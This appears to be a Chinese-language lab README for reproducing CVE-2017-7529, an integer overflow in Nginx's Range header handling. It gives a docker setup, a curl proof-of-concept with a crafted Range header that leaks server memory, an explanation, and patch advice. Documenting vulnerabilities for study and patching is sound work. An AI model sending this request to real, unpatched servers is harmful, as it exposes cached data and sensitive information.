CVE-2017-7529-Nginx Range Header 整数溢出

• Nginx 是一款高性能 Web 服务器，也是一款广泛使用的开源 Web 服务器，常用于反向代理、缓存服务器等。

• 在 Nginx 1.13.2 及更低版本中，存在一个因整数溢出导致的漏洞，攻击者可通过操纵 Range 头，泄露超出原始响应范围的内存片段或敏感信息。

Reference

• https://www.freebuf.com/articles/web/140178.html

漏洞环境搭建

• 输入以下命令以启动存在漏洞的 Nginx 环境。

bash
docker compose up -d

• 服务器启动后，可通过浏览器访问以下地址：

arduino
http://your-ip:8080

• 将显示 Nginx 默认页面或自定义的 index.html 页面。

漏洞复现

• 使用 curl 命令发送恶意的 Range 头请求：

bash
curl -v -H "Range: bytes=-9223372036854,5" http://your-ip:8080/

-> 响应正文中除了页面的一部分之外，还可能包含奇怪的二进制数据或内存垃圾。

工作原理摘要

• 该漏洞在处理 Range 请求时，正负整数计算过程中会发生溢出，从而将原本并非预期的内存区域也包含在响应中。
• 这样，攻击者就可以提取部分缓存数据或敏感信息。

结论

• 该漏洞仅通过简单的 HTTP 请求即可引发信息泄露（Information Disclosure）。

• 如果其中包含敏感的配置信息或其他可泄露的数据，则可能导致严重的安全事故。

• 补丁：建议升级至 Nginx 1.13.3 或更高版本

参考文件结构示例

bash

CVE-2017-7529/
├── Dockerfile
├── docker-compose.yml
├── nginx.conf
├── index.html
└── README.md  <-- 본 문서